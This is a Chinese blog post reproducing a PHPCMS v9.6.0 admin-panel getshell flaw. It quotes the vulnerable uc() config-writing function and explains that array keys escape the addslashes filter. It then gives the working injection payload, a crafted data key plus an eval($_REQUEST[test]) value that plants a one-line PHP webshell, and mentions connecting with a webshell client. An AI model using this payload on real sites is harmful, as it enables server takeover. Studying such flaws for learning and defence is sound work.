zoukankan      html  css  js  c++  java
  • PHPCMS v9.6.0后台getshell

    思路来自于 http://www.cnbraid.com/2016/09/18/phpcms/

    这里自己复现了一下,自己写了一下

    因为是后台的,还得登陆两次。。所以不好用,主要是学习学习

    漏洞来自于ROOTDIR/phpsso_server/phpcms/modules/admin/system.php

        public function uc() {
            if (isset($_POST['dosubmit'])) {
                $data = isset($_POST['data']) ? $_POST['data'] : '';
                $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
                $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
                $config = include $filepath;
                $uc_config = '<?php '."
    define('UC_CONNECT', 'mysql');
    ";
                foreach ($data as $k => $v) {
                    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                    $new[] = "'$k'=>'$v',";
                    $uc_config .= "define('".strtoupper($k)."', '$v');
    ";
                }
                $html = file_get_contents($filepath);
                $html = str_replace($old, $new, $html);
                $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
                @file_put_contents($uc_config_filepath, $uc_config);
                @file_put_contents($filepath, $html);
                $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
                showmessage(L('operation_success'), HTTP_REFERER);
            }
            $data = array();
            $r = $this->db->get_one(array('name'=>'ucenter'));
            if ($r) {
                $data = string2array($r['data']);
            }
            include $this->admin_tpl('system_uc');
        }

    来自这段中的

    $data = isset($_POST['data']) ? $_POST['data'] : '';

    foreach ($data as $k => $v) {
    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
    $new[] = "'$k'=>'$v',";
    $uc_config .= "define('".strtoupper($k)."', '$v'); ";
    }

    这里接收post['data']数据中的key,value并写入配置文件ROOTDIR/phpsso_server/caches/configs/uc_config.php中

    在ROOTDIR/phpcms/libs/classes/param.class.php中

        public function __construct() {
            if(!get_magic_quotes_gpc()) {
                $_POST = new_addslashes($_POST);
                $_GET = new_addslashes($_GET);
                $_REQUEST = new_addslashes($_REQUEST);
                $_COOKIE = new_addslashes($_COOKIE);
            }

    全局过滤了post,但是这里只过滤了value,并没有过滤key

    在这个地方,我们可以构造

    name="data[uc_api','11');/*]"

    并在Ucenter api 地址输入:*/eval($_REQUEST[test]);//

    就成功写入了一句话

    菜刀成功连接

    本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/09/18/phpcms/,如需转载请联系作者。

  • 相关阅读:
    让程序用自定义的菜单自定义菜单AVKON_VIEW,CBA,MENU_BAR,MENU_PANE
    symbian 菜单不显示的原因
    子类中调用父类的带参数的构造函数|子类构造函数调用父类构造函数 的说明
    symbian 设置 透明背景
    IOS App资源路径
    Nonblock I/O 及其使用
    CEikStatusPane MakeVisible kernexec 3错误
    把mapinfo图层的经纬度信息导出来的办法
    解决安装macports,不能更新的问题
    jpg结构解析
  • 原文地址:https://www.cnblogs.com/wocalieshenmegui/p/5916660.html
Copyright © 2011-2022 走看看